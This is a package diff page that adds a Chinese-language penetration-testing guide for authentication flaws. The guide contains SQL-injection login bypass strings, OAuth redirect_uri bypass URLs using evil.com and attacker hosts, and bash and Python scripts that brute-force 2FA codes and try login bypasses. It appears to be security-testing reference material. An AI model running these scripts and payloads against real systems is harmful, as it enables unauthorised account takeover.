opencode-api-security-testing 4.0.1 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (29) hide show
  1. package/package.json +48 -47
  2. package/postinstall.mjs +69 -40
  3. package/references/references/README.md +72 -0
  4. package/references/references/asset-discovery.md +119 -0
  5. package/references/references/fuzzing-patterns.md +129 -0
  6. package/references/references/graphql-guidance.md +108 -0
  7. package/references/references/intake.md +84 -0
  8. package/references/references/pua-agent.md +192 -0
  9. package/references/references/report-template.md +156 -0
  10. package/references/references/rest-guidance.md +76 -0
  11. package/references/references/severity-model.md +76 -0
  12. package/references/references/test-matrix.md +86 -0
  13. package/references/references/validation.md +78 -0
  14. package/references/references/vulnerabilities/01-sqli-tests.md +1128 -0
  15. package/references/references/vulnerabilities/02-user-enum-tests.md +423 -0
  16. package/references/references/vulnerabilities/03-jwt-tests.md +499 -0
  17. package/references/references/vulnerabilities/04-idor-tests.md +362 -0
  18. package/references/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
  19. package/references/references/vulnerabilities/06-biz-logic-tests.md +501 -0
  20. package/references/references/vulnerabilities/07-security-config-tests.md +511 -0
  21. package/references/references/vulnerabilities/08-brute-force-tests.md +457 -0
  22. package/references/references/vulnerabilities/09-vulnerability-chains.md +465 -0
  23. package/references/references/vulnerabilities/10-auth-tests.md +537 -0
  24. package/references/references/vulnerabilities/11-graphql-tests.md +355 -0
  25. package/references/references/vulnerabilities/12-ssrf-tests.md +396 -0
  26. package/references/references/vulnerabilities/README.md +148 -0
  27. package/references/references/workflows.md +192 -0
  28. package/src/index.ts +153 -25
  29. package/src/src/index.ts +535 -0
@@ -0,0 +1,537 @@
1
+ # 认证漏洞测试
2
+
3
+ ## 1. 概述
4
+
5
+ 认证漏洞包括认证绕过、会话劫持、密码重置、OAuth/OIDC漏洞、SAML漏洞、2FA绕过等。
6
+
7
+ **危险等级**: 高
8
+
9
+ ## 2. 测试点识别
10
+
11
+ ### 2.1 常见认证接口
12
+
13
+ | 接口类型 | 示例 |
14
+ |----------|------|
15
+ | 登录接口 | `/login`, `/signin`, `/api/auth/login` |
16
+ | 注册接口 | `/register`, `/signup`, `/api/auth/register` |
17
+ | 密码重置 | `/reset-password`, `/forgot-password` |
18
+ | OAuth授权 | `/oauth/authorize`, `/oauth/login` |
19
+ | 2FA验证 | `/2fa`, `/mfa`, `/verify` |
20
+
21
+ ## 3. SQL注入绕过认证
22
+
23
+ ### 3.1 注释绕过
24
+
25
+ ```bash
26
+ # 用户名后加注释
27
+ admin'--
28
+ admin'#
29
+ admin'/*
30
+ admin' or '1'='1
31
+ ```
32
+
33
+ ### 3.2 OR绕过
34
+
35
+ ```bash
36
+ # 万能密码
37
+ ' OR '1'='1
38
+ ' OR 1=1--
39
+ admin' OR '1'='1
40
+ ```
41
+
42
+ ### 3.3 空密码绕过
43
+
44
+ ```bash
45
+ 用户名: admin
46
+ 密码: ' or 1=1--
47
+ ```
48
+
49
+ ### 3.4 大小写绕过
50
+
51
+ ```bash
52
+ Admin
53
+ ADMIN
54
+ AdMiN
55
+ ```
56
+
57
+ ## 4. 会话漏洞
58
+
59
+ ### 4.1 Session Fixation
60
+
61
+ ```
62
+ 攻击步骤:
63
+ 1. 攻击者获取有效Session ID
64
+ 2. 将Session ID交给受害者
65
+ 3. 受害者登录后使用该Session ID
66
+ 4. 攻击者使用该Session ID劫持会话
67
+
68
+ 测试方法:
69
+ 1. 登录前查看Session ID
70
+ 2. 登录后对比Session ID
71
+ 3. 如果Session ID不变 → Session Fixation漏洞
72
+ ```
73
+
74
+ ### 4.2 Session Hijacking
75
+
76
+ ```
77
+ 攻击方法:
78
+ 1. 通过XSS窃取Cookie
79
+ 2. 通过Network监听窃取
80
+ 3. 通过日志文件窃取
81
+
82
+ 测试方法:
83
+ 1. 检查Cookie是否设置HttpOnly
84
+ 2. 检查Cookie是否设置Secure
85
+ 3. 检查Session ID是否可预测
86
+ ```
87
+
88
+ ### 4.3 会话超时测试
89
+
90
+ ```bash
91
+ # 检查会话超时时间
92
+ # 登录后等待超时时间
93
+ # 尝试使用之前的Token访问
94
+ ```
95
+
96
+ ## 5. 密码重置漏洞
97
+
98
+ ### 5.1 Token可预测
99
+
100
+ ```bash
101
+ # 检查Token格式
102
+ # 常见不安全的Token:
103
+ # - 递增数字:reset_token=12345
104
+ # - 时间戳:reset_token=1609459200
105
+ # - 用户ID:reset_token=user123
106
+ # - 弱加密:reset_token=base64(user_id)
107
+ ```
108
+
109
+ ### 5.2 Token泄露
110
+
111
+ ```bash
112
+ # 检查Token是否泄露在
113
+ # - URL参数
114
+ # - Referer头
115
+ # - 邮件日志
116
+ # - 服务器日志
117
+ ```
118
+
119
+ ### 5.3 Token复用
120
+
121
+ ```bash
122
+ # 1. 请求密码重置
123
+ POST /api/reset-password
124
+ {"email": "victim@example.com"}
125
+
126
+ # 2. 使用Token重置密码
127
+ POST /api/reset-password
128
+ {"token": "xxx", "new_password": "hacked"}
129
+
130
+ # 3. 尝试复用同一Token
131
+ POST /api/reset-password
132
+ {"token": "xxx", "new_password": "hacked2"}
133
+ # 如果成功 → Token可复用漏洞
134
+ ```
135
+
136
+ ### 5.4 邮箱绑定漏洞
137
+
138
+ ```bash
139
+ # 修改密码时检查邮箱验证
140
+ POST /api/reset-password
141
+ {
142
+ "token": "xxx",
143
+ "new_password": "xxx",
144
+ "email": "attacker@example.com" # 尝试修改为攻击者邮箱
145
+ }
146
+ ```
147
+
148
+ ## 6. OAuth/OIDC漏洞
149
+
150
+ ### 6.1 redirect_uri绕过
151
+
152
+ ```bash
153
+ # 正常redirect_uri
154
+ http://target.com/callback
155
+
156
+ # 绕过尝试
157
+ http://target.com.attacker.com
158
+ http://target.com/callback.evil.com
159
+ http://target.com/callback%23.evil.com
160
+ http://target.com/callback/../evil.com
161
+ http://target.com/callback#@evil.com
162
+ ```
163
+
164
+ ### 6.2 state参数缺失
165
+
166
+ ```bash
167
+ # 检查OAuth流程是否使用state参数
168
+ # 如果没有state参数 → CSRF攻击
169
+
170
+ # 测试:
171
+ 1. 创建恶意页面诱导用户点击
172
+ 2. 用户完成OAuth授权
173
+ 3. 攻击者获取授权码
174
+ 4. 攻击者完成认证
175
+ ```
176
+
177
+ ### 6.3 scope扩大
178
+
179
+ ```bash
180
+ # 请求基础scope
181
+ scope=openid,profile
182
+
183
+ # 尝试扩大scope
184
+ scope=openid,profile,email,admin
185
+ ```
186
+
187
+ ### 6.4 Token泄露
188
+
189
+ ```bash
190
+ # 检查Token是否在URL中传递
191
+ # 检查Token是否存储在日志中
192
+ # 检查access_token是否可替代refresh_token使用
193
+ ```
194
+
195
+ ### 6.5 OAuth curl测试
196
+
197
+ ```bash
198
+ #!/bin/bash
199
+ # OAuth漏洞测试脚本
200
+
201
+ TARGET="https://oauth.target.com"
202
+ CLIENT_ID="app_id"
203
+ REDIRECT_URI="http://target.com/callback"
204
+
205
+ echo "=== OAuth漏洞测试 ==="
206
+
207
+ # 1. redirect_uri绕过测试
208
+ echo "[1] redirect_uri绕过测试"
209
+ REDIRECT_URIS=(
210
+ "http://evil.com/callback"
211
+ "http://target.com.attacker.com/callback"
212
+ "http://target.com/callback.evil.com"
213
+ "http://target.com/callback#@evil.com"
214
+ )
215
+
216
+ for URI in "${REDIRECT_URIS[@]}"; do
217
+ RESP=$(curl -s -I "https://oauth.target.com/authorize?client_id=${CLIENT_ID}&redirect_uri=${URI}&response_type=code&scope=openid")
218
+ LOCATION=$(echo "$RESP" | grep -i "^Location:" | head -1)
219
+
220
+ if echo "$LOCATION" | grep -q "error"; then
221
+ echo " [安全] $URI: 被拒绝"
222
+ elif echo "$LOCATION" | grep -q "$URI"; then
223
+ echo " [漏洞] $URI: redirect_uri被接受"
224
+ else
225
+ echo " [未知] $URI"
226
+ fi
227
+ done
228
+
229
+ # 2. state参数测试
230
+ echo ""
231
+ echo "[2] state参数测试"
232
+ RESP=$(curl -s "https://oauth.target.com/authorize?client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&response_type=code")
233
+ if echo "$RESP" | grep -q "state"; then
234
+ echo " [有state] state参数存在"
235
+ else
236
+ echo " [漏洞] state参数缺失,可能存在CSRF"
237
+ fi
238
+ ```
239
+
240
+ ## 7. SAML漏洞
241
+
242
+ ### 7.1 SAML重放
243
+
244
+ ```bash
245
+ # 捕获有效的SAML Assertion
246
+ # 尝试重放该Assertion
247
+ ```
248
+
249
+ ### 7.2 XML签名绕过
250
+
251
+ ```bash
252
+ # 删除签名
253
+ # 修改Assertion后重新签名
254
+ # 使用空的签名
255
+ ```
256
+
257
+ ### 7.3 SAML curl测试
258
+
259
+ ```bash
260
+ #!/bin/bash
261
+ # SAML漏洞测试脚本
262
+
263
+ TARGET="https://saml.target.com"
264
+
265
+ echo "=== SAML漏洞测试 ==="
266
+
267
+ # 1. 检查SAML Endpoint
268
+ echo "[1] 检查SAML Endpoint"
269
+ curl -sI "$TARGET/saml/login" | grep -i "saml"
270
+
271
+ # 2. 检查XML签名
272
+ echo ""
273
+ echo "[2] XML签名测试"
274
+ # 提取SAML Response并检查签名配置
275
+ ```
276
+
277
+ ## 8. 2FA/OTP绕过
278
+
279
+ ### 8.1 暴力破解2FA码
280
+
281
+ ```bash
282
+ # 4位数字:10000种组合
283
+ # 6位数字:1000000种组合
284
+
285
+ #!/bin/bash
286
+ TARGET="http://api/verify-2fa"
287
+ CODE_FILE="/tmp/2fa_codes.txt"
288
+
289
+ # 生成4位数字密码
290
+ for i in {0000..9999}; do
291
+ echo "$i" >> "$CODE_FILE"
292
+ done
293
+
294
+ # 批量测试
295
+ while read CODE; do
296
+ RESP=$(curl -s -X POST "$TARGET" -d "{\"code\":\"$CODE\"}")
297
+ if echo "$RESP" | grep -q "success"; then
298
+ echo "[成功] 2FA码: $CODE"
299
+ break
300
+ fi
301
+ done < "$CODE_FILE"
302
+ ```
303
+
304
+ ### 8.2 2FA码复用
305
+
306
+ ```bash
307
+ # 1. 获取有效的2FA码
308
+ # 2. 使用同一2FA码多次尝试
309
+ # 3. 如果第二次成功 → 2FA码可复用漏洞
310
+ ```
311
+
312
+ ### 8.3 2FA绕过
313
+
314
+ ```bash
315
+ # 1. 删除2FA参数
316
+ POST /api/login
317
+ {"username": "admin", "password": "xxx"}
318
+
319
+ # 2. 尝试空2FA码
320
+ POST /api/verify-2fa
321
+ {"code": ""}
322
+
323
+ # 3. 尝试跳过2FA
324
+ POST /api/login-step2
325
+ {"skip_2fa": true}
326
+
327
+ # 4. Session Riding
328
+ # 捕获用户完成2FA后的Session,强制用户使用该Session
329
+ ```
330
+
331
+ ### 8.4 2FA Python测试脚本
332
+
333
+ ```python
334
+ import requests
335
+
336
+ class TwoFATester:
337
+ def __init__(self, target):
338
+ self.target = target
339
+
340
+ def test_brute_force(self, username, password, max_attempts=10000):
341
+ """测试2FA暴力破解"""
342
+ print(f"\n=== 2FA暴力破解测试 ===")
343
+
344
+ # 先登录获取2FA session
345
+ login_resp = requests.post(
346
+ f"{self.target}/login",
347
+ json={"username": username, "password": password}
348
+ )
349
+
350
+ if login_resp.status_code != 200:
351
+ return False, "登录失败"
352
+
353
+ session = login_resp.cookies
354
+
355
+ # 暴力破解2FA码
356
+ for i in range(max_attempts):
357
+ code = f"{i:04d}" # 4位数字
358
+ resp = requests.post(
359
+ f"{self.target}/verify-2fa",
360
+ json={"code": code},
361
+ cookies=session
362
+ )
363
+
364
+ if resp.status_code == 200:
365
+ try:
366
+ data = resp.json()
367
+ if data.get('success') or data.get('code') == 0:
368
+ return True, f"成功! 2FA码: {code}"
369
+ except:
370
+ pass
371
+
372
+ if i % 100 == 0:
373
+ print(f" 已测试 {i} 个码...")
374
+
375
+ return False, f"暴力破解失败 ({max_attempts}次)"
376
+
377
+ def test_reuse(self, username, password, code):
378
+ """测试2FA码复用"""
379
+ print(f"\n=== 2FA码复用测试 ===")
380
+
381
+ # 第一次使用
382
+ login_resp = requests.post(
383
+ f"{self.target}/login",
384
+ json={"username": username, "password": password}
385
+ )
386
+ session = login_resp.cookies
387
+
388
+ resp1 = requests.post(
389
+ f"{self.target}/verify-2fa",
390
+ json={"code": code},
391
+ cookies=session
392
+ )
393
+
394
+ # 第二次使用同一码
395
+ resp2 = requests.post(
396
+ f"{self.target}/verify-2fa",
397
+ json={"code": code},
398
+ cookies=session
399
+ )
400
+
401
+ if resp1.status_code == 200 and resp2.status_code == 200:
402
+ return True, "2FA码可复用,漏洞存在"
403
+ return False, "2FA码不可复用"
404
+
405
+ def test_skip(self, username, password):
406
+ """测试2FA跳过"""
407
+ print(f"\n=== 2FA跳过测试 ===")
408
+
409
+ # 登录
410
+ login_resp = requests.post(
411
+ f"{self.target}/login",
412
+ json={"username": username, "password": password}
413
+ )
414
+ session = login_resp.cookies
415
+
416
+ # 尝试跳过2FA
417
+ skip_resp = requests.post(
418
+ f"{self.target}/verify-2fa",
419
+ json={"skip": True},
420
+ cookies=session
421
+ )
422
+
423
+ if skip_resp.status_code == 200:
424
+ try:
425
+ data = skip_resp.json()
426
+ if data.get('success'):
427
+ return True, "可跳过2FA验证"
428
+ except:
429
+ pass
430
+
431
+ return False, "不能跳过2FA验证"
432
+ ```
433
+
434
+ ## 9. 认证漏洞误报判断标准
435
+
436
+ ### 9.1 核心判断原则
437
+
438
+ ```
439
+ 【重要】认证测试需要明确区分"安全机制"和"安全漏洞"
440
+
441
+ 判断逻辑:
442
+ 1. 先确认是否有适当的防护机制
443
+ 2. 再测试防护机制是否可绕过
444
+ 3. 最后评估绕过后的实际影响
445
+
446
+ 【真实漏洞特征】
447
+ - 认证可被绕过
448
+ - 密码可被暴力破解
449
+ - Session可被劫持
450
+ - 2FA可被绕过
451
+
452
+ 【正常情况(不是漏洞)】
453
+ - 暴力破解被限制/锁定
454
+ - Session正确更新
455
+ - 2FA码正确验证
456
+ ```
457
+
458
+ ### 9.2 curl + 对比验证流程
459
+
460
+ ```bash
461
+ #!/bin/bash
462
+ # 认证漏洞测试脚本
463
+
464
+ TARGET="http://api"
465
+
466
+ echo "=== 认证漏洞测试 ==="
467
+
468
+ # 1. SQL注入绕过测试
469
+ echo "[1] SQL注入绕过测试"
470
+ PAYLOADS=(
471
+ "admin'--"
472
+ "admin' or '1'='1"
473
+ "admin' or 1=1--"
474
+ )
475
+
476
+ for PAYLOAD in "${PAYLOADS[@]}"; do
477
+ RESP=$(curl -s -X POST "$TARGET/login" \
478
+ -H "Content-Type: application/json" \
479
+ -d "{\"username\":\"$PAYLOAD\",\"password\":\"any\"}")
480
+
481
+ if echo "$RESP" | grep -q '"token"'; then
482
+ echo " [漏洞] SQL注入绕过成功"
483
+ echo " Payload: $PAYLOAD"
484
+ fi
485
+ done
486
+
487
+ # 2. 暴力破解测试
488
+ echo ""
489
+ echo "[2] 暴力破解测试(5次)"
490
+ for i in {1..5}; do
491
+ RESP=$(curl -s -X POST "$TARGET/login" \
492
+ -H "Content-Type: application/json" \
493
+ -d "{\"username\":\"admin\",\"password\":\"wrong$i\"}")
494
+
495
+ if echo "$RESP" | grep -qi "lock\|captcha\|limit"; then
496
+ echo " [安全] 第$i次:发现限制机制"
497
+ break
498
+ fi
499
+ echo " 第$i次:无限制"
500
+ done
501
+
502
+ # 3. Session Fixation测试
503
+ echo ""
504
+ echo "[3] Session Fixation测试"
505
+ SESSION_BEFORE=$(curl -sI "$TARGET/login" | grep -i "set-cookie" | head -1)
506
+ echo " 登录前Cookie: $SESSION_BEFORE"
507
+ ```
508
+
509
+ ## 10. 认证安全配置检查表
510
+
511
+ | 检查项 | 安全配置 | 风险 |
512
+ |--------|----------|------|
513
+ | 密码强度 | 至少8位,含大小写+数字+特殊字符 | 低 |
514
+ | 登录限制 | 5次失败后锁定15分钟 | 低 |
515
+ | 验证码 | 有图形/滑块验证码 | 中 |
516
+ | Session更新 | 登录后更换Session ID | 低 |
517
+ | Cookie安全 | HttpOnly + Secure + SameSite | 低 |
518
+ | 2FA | 支持2FA认证 | 低 |
519
+ | 密码重置 | Token一次性使用 | 低 |
520
+ | OAuth | state参数、redirect_uri验证 | 低 |
521
+
522
+ ## 11. 测试检查清单
523
+
524
+ ```
525
+ □ 测试SQL注入绕过认证
526
+ □ 测试暴力破解防护
527
+ □ 测试验证码是否存在
528
+ □ 测试Session Fixation
529
+ □ 测试Session超时
530
+ □ 测试密码重置Token
531
+ □ 测试OAuth redirect_uri
532
+ □ 测试SAML签名
533
+ □ 测试2FA暴力破解
534
+ □ 测试2FA绕过
535
+ □ 检查Cookie安全配置
536
+ □ 检查认证响应头
537
+ ```